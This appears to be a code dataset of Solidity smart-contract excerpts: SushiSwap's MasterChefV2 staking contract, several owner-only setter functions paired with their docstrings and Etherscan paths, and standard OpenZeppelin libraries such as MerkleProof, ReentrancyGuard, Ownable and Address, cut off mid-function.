address(token).staticcall(abi.encodeWithSelector(SIG_NAME)); return success ? returnDataToString(data) : "???"; } /// @notice Provides a safe ERC20.decimals version which returns '18' as fallback value. /// @param token The address of the ERC-20 token contract. /// @return (uint8) Token decimals. function safeDecimals(IERC20 token) internal view returns (uint8) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_DECIMALS)); return success && data.length == 32 ? abi.decode(data, (uint8)) : 18; } /// @notice Provides a safe ERC20.transfer version for different ERC-20 implementations. /// Reverts on a failed transfer. /// @param token The address of the ERC-20 token. /// @param to Transfer tokens to. /// @param amount The token amount. function safeTransfer( IERC20 token, address to, uint256 amount ) internal { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER, to, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: Transfer failed"); } /// @notice Provides a safe ERC20.transferFrom version for different ERC-20 implementations. /// Reverts on a failed transfer. /// @param token The address of the ERC-20 token. /// @param from Transfer tokens from. /// @param to Transfer tokens to. /// @param amount The token amount. function safeTransferFrom( IERC20 token, address from, address to, uint256 amount ) internal { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER_FROM, from, to, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: TransferFrom failed"); } } contract BaseBoringBatchable { /// @dev Helper function to extract a useful revert message from a failed call. /// If the returned data is malformed or not correctly abi encoded then this call can fail itself. function _getRevertMsg(bytes memory _returnData) internal pure returns (string memory) { // If the _res length is less than 68, then the transaction failed silently (without a revert message) if (_returnData.length < 68) return "Transaction reverted silently"; assembly { // Slice the sighash. _returnData := add(_returnData, 0x04) } return abi.decode(_returnData, (string)); // All that remains is the revert string } /// @notice Allows batched call to self (this contract). /// @param calls An array of inputs for each call. /// @param revertOnFail If True then reverts after a failed call and stops doing further calls. /// @return successes An array indicating the success of a call, mapped one-to-one to `calls`. /// @return results An array with the returned data of each function call, mapped one-to-one to `calls`. // F1: External is ok here because this is the batch function, adding it to a batch makes no sense // F2: Calls in the batch may be payable, delegatecall operates in the same context, so each call in the batch has access to msg.value // C3: The length of the loop is fully under user control, so can't be exploited // C7: Delegatecall is only used on the same contract, so it's safe function batch(bytes[] calldata calls, bool revertOnFail) external payable returns (bool[] memory successes, bytes[] memory results) { successes = new bool[](calls.length); results = new bytes[](calls.length); for (uint256 i = 0; i < calls.length; i++) { (bool success, bytes memory result) = address(this).delegatecall(calls[i]); require(success || !revertOnFail, _getRevertMsg(result)); successes[i] = success; results[i] = result; } } } contract BoringBatchable is BaseBoringBatchable { /// @notice Call wrapper that performs `ERC20.permit` on `token`. /// Lookup `IERC20.permit`. // F6: Parameters can be used front-run the permit and the user's permit will fail (due to nonce or other revert) // if part of a batch this could be used to grief once as the second call would not need the permit function permitToken( IERC20 token, address from, address to, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public { token.permit(from, to, amount, deadline, v, r, s); } } interface IRewarder { using BoringERC20 for IERC20; function onSushiReward(uint256 pid, address user, address recipient, uint256 sushiAmount, uint256 newLpAmount) external; function pendingTokens(uint256 pid, address user, uint256 sushiAmount) external view returns (IERC20[] memory, uint256[] memory); } interface IMigratorChef { // Take the current LP token address and return the new LP token address. // Migrator should have full access to the caller's LP token. function migrate(IERC20 token) external returns (IERC20); } interface IMasterChef { using BoringERC20 for IERC20; struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. } struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. SUSHI to distribute per block. uint256 lastRewardBlock; // Last block number that SUSHI distribution occurs. uint256 accSushiPerShare; // Accumulated SUSHI per share, times 1e12. See below. } function poolInfo(uint256 pid) external view returns (IMasterChef.PoolInfo memory); function totalAllocPoint() external view returns (uint256); function deposit(uint256 _pid, uint256 _amount) external; } /// @notice The (older) MasterChef contract gives out a constant number of SUSHI tokens per block. /// It is the only address with minting rights for SUSHI. /// The idea for this MasterChef V2 (MCV2) contract is therefore to be the owner of a dummy token /// that is deposited into the MasterChef V1 (MCV1) contract. /// The allocation point for this pool on MCV1 is the total allocation point for all pools that receive double incentives. contract MasterChefV2 is BoringOwnable, BoringBatchable { using BoringMath for uint256; using BoringMath128 for uint128; using BoringERC20 for IERC20; using SignedSafeMath for int256; /// @notice Info of each MCV2 user. /// `amount` LP token amount the user has provided. /// `rewardDebt` The amount of SUSHI entitled to the user. struct UserInfo { uint256 amount; int256 rewardDebt; } /// @notice Info of each MCV2 pool. /// `allocPoint` The amount of allocation points assigned to the pool. /// Also known as the amount of SUSHI to distribute per block. struct PoolInfo { uint128 accSushiPerShare; uint64 lastRewardBlock; uint64 allocPoint; } /// @notice Address of MCV1 contract. IMasterChef public immutable MASTER_CHEF; /// @notice Address of SUSHI contract. IERC20 public immutable SUSHI; /// @notice The index of MCV2 master pool in MCV1. uint256 public immutable MASTER_PID; // @notice The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; /// @notice Info of each MCV2 pool. PoolInfo[] public poolInfo; /// @notice Address of the LP token for each MCV2 pool. IERC20[] public lpToken; /// @notice Address of each `IRewarder` contract in MCV2. IRewarder[] public rewarder; /// @notice Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; /// @dev Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint; uint256 private constant MASTERCHEF_SUSHI_PER_BLOCK = 1e20; uint256 private constant ACC_SUSHI_PRECISION = 1e12; event Deposit(address indexed user, uint256 indexed pid, uint256 amount, address indexed to); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount, address indexed to); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount, address indexed to); event Harvest(address indexed user, uint256 indexed pid, uint256 amount); event LogPoolAddition(uint256 indexed pid, uint256 allocPoint, IERC20 indexed lpToken, IRewarder indexed rewarder); event LogSetPool(uint256 indexed pid, uint256 allocPoint, IRewarder indexed rewarder, bool overwrite); event LogUpdatePool(uint256 indexed pid, uint64 lastRewardBlock, uint256 lpSupply, uint256 accSushiPerShare); event LogInit(); /// @param _MASTER_CHEF The SushiSwap MCV1 contract address. /// @param _sushi The SUSHI token contract address. /// @param _MASTER_PID The pool ID of the dummy token on the base MCV1 contract. constructor(IMasterChef _MASTER_CHEF, IERC20 _sushi, uint256 _MASTER_PID) public { MASTER_CHEF = _MASTER_CHEF; SUSHI = _sushi; MASTER_PID = _MASTER_PID; } /// @notice Deposits a dummy token to `MASTER_CHEF` MCV1. This is required because MCV1 holds the minting rights for SUSHI. /// Any balance of transaction sender in `dummyToken` is transferred. /// The allocation point for the pool on MCV1 is the total allocation point for all pools that receive double incentives. /// @param dummyToken The address of the ERC-20 token to deposit into MCV1. function init(IERC20 dummyToken) external { uint256 balance = dummyToken.balanceOf(msg.sender); require(balance != 0, "MasterChefV2: Balance must exceed 0"); dummyToken.safeTransferFrom(msg.sender, address(this), balance); dummyToken.approve(address(MASTER_CHEF), balance); MASTER_CHEF.deposit(MASTER_PID, balance); emit LogInit(); } /// @notice Returns the number of MCV2 pools. function poolLength() public view returns (uint256 pools) { pools = poolInfo.length; } /// @notice Add a new LP to the pool. Can only be called by the owner. /// DO NOT add the same LP token more than once. Rewards will be messed up if you do. /// @param allocPoint AP of the new pool. /// @param _lpToken Address of the LP ERC-20 token. /// @param _rewarder Address of the rewarder delegate. function add(uint256 allocPoint, IERC20 _lpToken, IRewarder _rewarder) public onlyOwner { uint256 lastRewardBlock = block.number; totalAllocPoint = totalAllocPoint.add(allocPoint); lpToken.push(_lpToken); rewarder.push(_rewarder); poolInfo.push(PoolInfo({ allocPoint: allocPoint.to64(), lastRewardBlock: lastRewardBlock.to64(), accSushiPerShare: 0 })); emit LogPoolAddition(lpToken.length.sub(1), allocPoint, _lpToken, _rewarder); } /// @notice Update the given pool's SUSHI allocation point and `IRewarder` contract. Can only be called by the owner. /// @param _pid The index of the pool. See `poolInfo`. /// @param _allocPoint New AP of the pool. /// @param _rewarder Address of the rewarder delegate. /// @param overwrite True if _rewarder should be `set`. Otherwise `_rewarder` is ignored. function set(uint256 _pid, uint256 _allocPoint, IRewarder _rewarder, bool overwrite) public onlyOwner { totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint.to64(); if (overwrite) { rewarder[_pid] = _rewarder; } emit LogSetPool(_pid, _allocPoint, overwrite ? _rewarder : rewarder[_pid], overwrite); } /// @notice Set the `migrator` contract. Can only be called by the owner. /// @param _migrator The contract address to set. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } /// @notice Migrate LP token to another LP contract through the `migrator` contract. /// @param _pid The index of the pool. See `poolInfo`. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "MasterChefV2: no migrator set"); IERC20 _lpToken = lpToken[_pid]; uint256 bal = _lpToken.balanceOf(address(this)); _lpToken.approve(address(migrator), bal); IERC20 newLpToken = migrator.migrate(_lpToken); require(bal == newLpToken.balanceOf(address(this)), "MasterChefV2: migrated balance must match"); lpToken[_pid] = newLpToken; } /// @notice View function to see pending SUSHI on frontend. /// @param _pid The index of the pool. See `poolInfo`. /// @param _user Address of user. /// @return pending SUSHI reward for a given user. function pendingSushi(uint256 _pid, address _user) external view returns (uint256 pending) { PoolInfo memory pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accSushiPerShare = pool.accSushiPerShare; uint256 lpSupply = lpToken[_pid].balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 blocks = block.number.sub(pool.lastRewardBlock); uint256 sushiReward = blocks.mul(sushiPerBlock()).mul(pool.allocPoint) / totalAllocPoint; accSushiPerShare = accSushiPerShare.add(sushiReward.mul(ACC_SUSHI_PRECISION) / lpSupply); } pending = int256(user.amount.mul(accSushiPerShare) / ACC_SUSHI_PRECISION).sub(user.rewardDebt).toUInt256(); } /// @notice Update reward variables for all pools. Be careful of gas spending! /// @param pids Pool IDs of all to be updated. Make sure to update all active pools. function massUpdatePools(uint256[] calldata pids) external { uint256 len = pids.length; for (uint256 i = 0; i < len; ++i) { updatePool(pids[i]); } } /// @notice Calculates and returns the `amount` of SUSHI per block. function sushiPerBlock() public view returns (uint256 amount) { amount = uint256(MASTERCHEF_SUSHI_PER_BLOCK) .mul(MASTER_CHEF.poolInfo(MASTER_PID).allocPoint) / MASTER_CHEF.totalAllocPoint(); } /// @notice Update reward variables of the given pool. /// @param pid The index of the pool. See `poolInfo`. /// @return pool Returns the pool that was updated. function updatePool(uint256 pid) public returns (PoolInfo memory pool) { pool = poolInfo[pid]; if (block.number > pool.lastRewardBlock) { uint256 lpSupply = lpToken[pid].balanceOf(address(this)); if (lpSupply > 0) { uint256 blocks = block.number.sub(pool.lastRewardBlock); uint256 sushiReward = blocks.mul(sushiPerBlock()).mul(pool.allocPoint) / totalAllocPoint; pool.accSushiPerShare = pool.accSushiPerShare.add((sushiReward.mul(ACC_SUSHI_PRECISION) / lpSupply).to128()); } pool.lastRewardBlock = block.number.to64(); poolInfo[pid] = pool; emit LogUpdatePool(pid, pool.lastRewardBlock, lpSupply, pool.accSushiPerShare); } } /// @notice Deposit LP tokens to MCV2 for SUSHI allocation. /// @param pid The index of the pool. See `poolInfo`. /// @param amount LP token amount to deposit. /// @param to The receiver of `amount` deposit benefit. function deposit(uint256 pid, uint256 amount, address to) public { PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][to]; // Effects user.amount = user.amount.add(amount); user.rewardDebt = user.rewardDebt.add(int256(amount.mul(pool.accSushiPerShare) / ACC_SUSHI_PRECISION)); // Interactions IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onSushiReward(pid, to, to, 0, user.amount); } lpToken[pid].safeTransferFrom(msg.sender, address(this), amount); emit Deposit(msg.sender, pid, amount, to); } /// @notice Withdraw LP tokens from MCV2. /// @param pid The index of the pool. See `poolInfo`. /// @param amount LP token amount to withdraw. /// @param to Receiver of the LP tokens. function withdraw(uint256 pid, uint256 amount, address to) public { PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][msg.sender]; // Effects user.rewardDebt = user.rewardDebt.sub(int256(amount.mul(pool.accSushiPerShare) / ACC_SUSHI_PRECISION)); user.amount = user.amount.sub(amount); // Interactions IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onSushiReward(pid, msg.sender, to, 0, user.amount); } lpToken[pid].safeTransfer(to, amount); emit Withdraw(msg.sender, pid, amount, to); } /// @notice Harvest proceeds for transaction sender to `to`. /// @param pid The index of the pool. See `poolInfo`. /// @param to Receiver of SUSHI rewards. function harvest(uint256 pid, address to) public { PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][msg.sender]; int256 accumulatedSushi = int256(user.amount.mul(pool.accSushiPerShare) / ACC_SUSHI_PRECISION); uint256 _pendingSushi = accumulatedSushi.sub(user.rewardDebt).toUInt256(); // Effects user.rewardDebt = accumulatedSushi; // Interactions if (_pendingSushi != 0) { SUSHI.safeTransfer(to, _pendingSushi); } IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onSushiReward( pid, msg.sender, to, _pendingSushi, user.amount); } emit Harvest(msg.sender, pid, _pendingSushi); } /// @notice Withdraw LP tokens from MCV2 and harvest proceeds for transaction sender to `to`. /// @param pid The index of the pool. See `poolInfo`. /// @param amount LP token amount to withdraw. /// @param to Receiver of the LP tokens and SUSHI rewards. function withdrawAndHarvest(uint256 pid, uint256 amount, address to) public { PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][msg.sender]; int256 accumulatedSushi = int256(user.amount.mul(pool.accSushiPerShare) / ACC_SUSHI_PRECISION); uint256 _pendingSushi = accumulatedSushi.sub(user.rewardDebt).toUInt256(); // Effects user.rewardDebt = accumulatedSushi.sub(int256(amount.mul(pool.accSushiPerShare) / ACC_SUSHI_PRECISION)); user.amount = user.amount.sub(amount); // Interactions SUSHI.safeTransfer(to, _pendingSushi); IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onSushiReward(pid, msg.sender, to, _pendingSushi, user.amount); } lpToken[pid].safeTransfer(to, amount); emit Withdraw(msg.sender, pid, amount, to); emit Harvest(msg.sender, pid, _pendingSushi); } /// @notice Harvests SUSHI from `MASTER_CHEF` MCV1 and pool `MASTER_PID` to this MCV2 contract. function harvestFromMasterChef() public { MASTER_CHEF.deposit(MASTER_PID, 0); } /// @notice Withdraw without caring about rewards. EMERGENCY ONLY. /// @param pid The index of the pool. See `poolInfo`. /// @param to Receiver of the LP tokens. function emergencyWithdraw(uint256 pid, address to) public { UserInfo storage user = userInfo[pid][msg.sender]; uint256 amount = user.amount; user.amount = 0; user.rewardDebt = 0; IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onSushiReward(pid, msg.sender, to, 0, 0); } // Note: transfer can fail or succeed if `amount` is zero. lpToken[pid].safeTransfer(to, amount); emit EmergencyWithdraw(msg.sender, pid, amount, to); } }
Add a new LP to the pool. Can only be called by the owner. DO NOT add the same LP token more than once. Rewards will be messed up if you do. allocPoint AP of the new pool. _lpToken Address of the LP ERC-20 token. _rewarder Address of the rewarder delegate.
function add(uint256 allocPoint, IERC20 _lpToken, IRewarder _rewarder) public onlyOwner { uint256 lastRewardBlock = block.number; totalAllocPoint = totalAllocPoint.add(allocPoint); lpToken.push(_lpToken); rewarder.push(_rewarder); poolInfo.push(PoolInfo({ allocPoint: allocPoint.to64(), lastRewardBlock: lastRewardBlock.to64(), accSushiPerShare: 0 })); emit LogPoolAddition(lpToken.length.sub(1), allocPoint, _lpToken, _rewarder); }
1,099,146
./full_match/1/0x702860f8fBaCecAbE4Fe21b88BE490D3740276CE/sources/contracts/Credits.sol
Function for owner to update the payment wallet address. _paymentWallet Address to be the new paymentWallet./
function updatePaymentWallet(address _paymentWallet) external onlyOwner { require(_paymentWallet != address(0), "Zero address provided!"); address oldPaymentWallet = paymentWallet; paymentWallet = _paymentWallet; emit PaymentWalletUpdated( msg.sender, oldPaymentWallet, _paymentWallet, block.timestamp ); }
9,737,204
./full_match/1/0x80cdC7CF8670B922EF86c6F0e7f237bD4598439A/sources/MRaceNFT.sol
Allows admin to set a penalty on a spot, normally occurs when an off chain issue triggers this/
function setPenalty(string calldata spotId, bool isPenalized) public onlyOwner { _penalizedSpots[spotId] = isPenalized; emit Penalty(spotId, isPenalized); }
8,413,075
/** *Submitted for verification at Etherscan.io on 2022-04-26 */ // SPDX-License-Identifier: MIT /* ____ ____ ____ ________ _ ______ ____ __ ____ / __ \/ __ \/ __ \/ _/ __ \___| | / / __ \/ __ \/ / / __ \ / / / / /_/ / / / // // / / /_ / | /| / / / / / /_/ / / / / / / / /_/ / _, _/ /_/ // // /_/ / / /| |/ |/ / /_/ / _, _/ /___/ /_/ / /_____/_/ |_|\____/___/_____/ /___/__/|__/\____/_/ |_/_____/_____/ .... ... ... .. °°. .° *° .*. *° ° *° . . . . .°°***°°... °**°°. .°°°°°.... ..°°°°°. *#Oo**°°°°°° . .. .°°°°°**ooO* ......o. .o .°°°. .°°°. °. *°....... #o .o *ooo* *ooo* °. .# [email protected]* . ..° . . . @@o °° * * #@O °@*#° *°@* @@# °@@Oo .#[email protected]* *@@# [email protected]@ [email protected] @°@# . #. o .# #@ . ** .* .# #@ . °oo. [email protected] *o .. Oo. oo* °# [email protected] . [email protected]@@@ *#°.°.#@ . ...#O [email protected]@@# *O [email protected] . *@#*[email protected]@. .**. @@#*[email protected] °o°Oo **° [email protected]@o *..° .oo. o °@@° °*Ooo** . °[email protected] OO° [email protected]# *[email protected]° .oo #O°.**. .. .°.° .*° *°.° . . ...°°°° . .°[email protected]@@oo*° .*.°. .. .. .o* [email protected]@* . . ..°° .. [email protected]@@@@####o°. °. .. .*#o°*[email protected] ## . . °.o#@O. *#* °. */ // File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // File: @openzeppelin/contracts/security/ReentrancyGuard.sol // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/security/Pausable.sol // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes 